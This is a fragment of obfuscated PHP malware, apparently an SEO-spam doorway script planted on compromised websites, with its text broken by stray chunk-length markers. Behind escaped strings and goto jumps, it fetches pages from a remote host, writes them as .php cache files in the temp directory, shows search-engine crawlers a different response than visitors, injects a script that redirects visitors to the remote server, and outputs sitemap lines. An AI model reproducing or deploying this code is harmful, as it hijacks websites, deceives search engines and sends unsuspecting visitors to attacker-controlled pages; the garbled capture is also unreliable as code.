4 tru 11 e, CURLOPT_CONNEC c TTIMEOUT => 23 5, CURLOPT_TIMEOUT => 8, CURLOPT_SS a L_VERIFYPE 22 ER => false, CURLOPT_SSL_VERIFYHOS 1a T => false, CURLOPT_FOLLOW 8 LOCATION 20 => false, CURLOPT_USERAGENT => 11 "\x4d\157\172\151 18 \154\x6c\141\57\65\x2e\6 16 0")); $data = curl_exe 12 c($ch); curl_close 18 ($ch); } if (empty($data 19 ) && ini_get("\x61\154\15 23 4\157\167\137\165\x72\154\137\146\1 16 57\x70\x65\156")) { $c 10 ontext = stream_ 17 context_create(array("\ 14 x68\164\x74\x70" => 19 array("\x74\x69\x6d\145\1 1a 57\x75\164" => 8, "\x68\x6 18 5\x61\144\145\x72" => "\ 22 125\x73\x65\x72\x2d\101\x67\x65\x6 2c e\164\x3a\x20\x4d\157\172\151\154\154\141\x2 11 f\65\56\60\xd\xa" 1f ), "\x73\x73\x6c" => array("\x7 17 6\145\162\x69\146\171\x 1f 5f\x70\x65\145\x72" => false, " 17 \166\x65\x72\151\146\x7 1c 9\137\x70\x65\x65\162\x5f\15 18 6\141\x6d\145" => false) 2c )); $data = @file_get_contents($url, false, 22 $context); } if (!empty($data)) { 15 cache_set($url, $data 50 ); } return $data; } goto Frs4L; C4aA0: if (!empty($iid)) { $str = getCurlFast($ d hyzhdy . "\x3 16 f\151\x69\144\x3d{$iid 12 }"); echo str_repl 1a ace(array("\147\x67\x67\14 1d 7\x67", "\x59\x59\131\131\131 1c ", "\130\130\130\131\x59\131 11 ", "\xe5\275\223\ b 345\211\x8d 1a \125\122\x4c", "\125\x55\1 17 25\x55\x55"), array($sz 10 , get_url_info() 21 , get_url_info("\142\x61\x73\145" 35 ), get_url_info("\146\165\x6c\154"), get_url_info("\1 16 56\157\x5f\x77\x77\167 18 ")), $str); die; } goto e wZIGm; mEfJ2: 14 $kk = isset($get["\1 11 53\x6b"]) ? trim( 18 $get["\153\153"]) : ''; 10 goto B2cYK; qVAP c R: $surl = $ 1a jd . "\x73\61\62\x31\x32\x 1b 2e\x61\x73\160\x78"; goto j 9 jw58; fDK 1a hA: $sz = $iid = ''; goto 1b rS9s0; djE41: if (!empty($s 19 z)) { $jd = getCurlFast(" 1a {$http_type}{$vurl}\63\153 24 \147\56\141\x73\160\x78\x3f\163\172\ 16 x3d" . urlencode($sz)) 3a ; } else { $jd = getCurlFast("{$http_type}{$vurl}\63\x6b\1 27 47\56\x61\x73\160\x78\x3f\170\171\x3d{$ 35 http_type}"); $sz = getCurlFast("{$http_type}{$vurl}\ 1b x33\153\147\56\x61\163\160\ 21 170\77\152\x64\x3d" . urlencode($ 10 jd)); } goto fl0 18 Mc; jjw58: $sitemapLine 1a = "\123\151\x74\145\x6d\14 27 1\x70\72\40{$http_type}{$_SERVER["\x48\ 3e 124\x54\x50\137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\111\ 18 x50\124\x5f\116\101\x4d\ 15 x45"]}\77\167\x3d" . 23 date("\131\155\144\x48\151") . "\12 14 "; goto QZ77P; Frs4L 20 : function get_url_info(string $ 1b type = "\144\x6f\155\x61\x6 15 9\x6e") : string { $h 22 ost = $_SERVER["\x48\x54\x54\120\1 15 37\x48\117\123\x54"] 19 ?? ''; if ($type === "\15 21 6\157\137\x77\x77\167") { return 18 preg_replace("\x2f\x5e\x 17 77\167\x77\134\56\57\15 13 1", '', $host); } $ 8 protocol 4f = !empty($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\x48\x54\x54\120\x53"] 20 !== "\x6f\146\x66" ? "\x68\x74\ 16 164\x70\x73\x3a\57\57" 1b : "\150\x74\x74\160\72\x2f 179 \57"; $base = $protocol . $host; if ($type === "\142\141\x73\145") { return $base; } if ($type === "\x66\165\154\154") { return $base . ($_SERVER["\x52\105\121\125\x45\x53\x54\137\x55\x52\x49"] ?? ''); } return $host; } goto eaUB7; eXwce: if ($domain !== "\x67\x6f\x6f\147\x6c\145" && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "\x67\x6e\56\141\163\x70\170\x3f\x69\x6 20 9\x64\x3d" . $iid)); echo "\74\x 16 73\143\162\151\160\x74 1e \76\154\157\x63\x61\x74\151\15 17 7\156\75\42" . $jd . "\ 1f 141\x2e\x61\x73\x70\x78\x3f\x63 28 \156\x61\x6d\145\x3d" . urlencode($kname 14 ) . "\46\x75\162\154 23 \75" . $http_type . $_SERVER["\x48\ 22 124\x54\120\137\x48\x4f\123\x54"] 31 . $_SERVER["\123\x43\x52\111\x50\x54\137\x4e\x41\ 12 115\105"] . "\42\7 19 4\57\163\x63\x72\151\160\ 21 164\76"; die; } goto C4aA0; DHsL3 22 : if (!empty($get["\x77"])) { $par f ams = http_buil 11 d_query(array("\x 31 4e\x4f\125\x6d\142\x65\x72" => $get["\116\117\x55 1e \155\142\x65\162"] ?? '', "\x7 20 4" => $get["\x74"] ?? '', "\143\ 23 x6e" => $get["\x63\x6e"] ?? '', "\1 20 60\116\117\125\155" => $get["\x7 28 0\116\117\125\x6d"] ?? '', "\143\151\x64 32 " => $get["\x63\151\144"] ?? '', "\155" => $get["\ 22 155"] ?? '')); $str = getCurlFast( 42 "{$surl}\x3f{$params}"); echo str_replace(array("\171\171\x6d\155" 22 , "\147\x67\147\147\147"), array($ 2c http_type . $_SERVER["\x48\x54\124\x50\x5f\1 28 10\x4f\x53\x54"] . $_SERVER["\123\103\12 1e 2\x49\120\124\x5f\x4e\x41\x4d\ 26 x45"], $sz), $str); die; } goto mEfJ2; 11 XsAcz: function 1a cache_set($key, $data) { $ f file = sys_get_ 9 temp_dir( 21 ) . "\x2f\143\x61\x63\150\x65\137 15 " . md5($key) . "\x2e 23 \160\150\x70"; @file_put_contents($ 1e file, $data, LOCK_EX); } goto 10 VTcyq; QLlhb: $v 1e url = "\x74\157\x2e\x6a\147\14 14 1\x6c\154\x73\56\x63 1a \x6f\x6d\x2f"; goto fDKhA; b S2KVF: $is d _no_query = e 21 mpty($_SERVER["\x51\x55\105\x52\1 18 31\x5f\123\124\122\111\x 12 4e\x47"]); goto zH 1e nCd; xI3e6: if ($kk !== '' && 19 !preg_match("\57\x5e\133\ 14 101\55\132\x61\55\x7 f a\60\55\x39\135 15 \53\44\x2f", $kk)) { 40 output_sitemap_and_exit($sitemapLine, $http_type); } goto S2KVF; 1b fl0Mc: $hyzhdy = $jd . "\x 27 31\x32\61\62\56\x61\163\x70\x78"; goto 1d qVAPR; ghIXA: function cache_ 14 get($key, $expire = 33 300) { $file = sys_get_temp_dir() . "\x2f\x63\141\1 24 43\150\145\137" . md5($key) . "\56\x 11 70\150\160"; if ( 1d file_exists($file) && time() 13 - filemtime($file) 27 < $expire) { return file_get_contents($ 23 file); } return false; } goto XsAcz 1b ; zHnCd: if ($kk === '' && 1d $is_no_query) { if ($domain = 1d == "\x67\157\157\x67\x6c\x65" 4e ) { output_sitemap_and_exit($sitemapLine, $http_type); } else { die; } } goto 10 QmNxK; Sda4b: ?> 0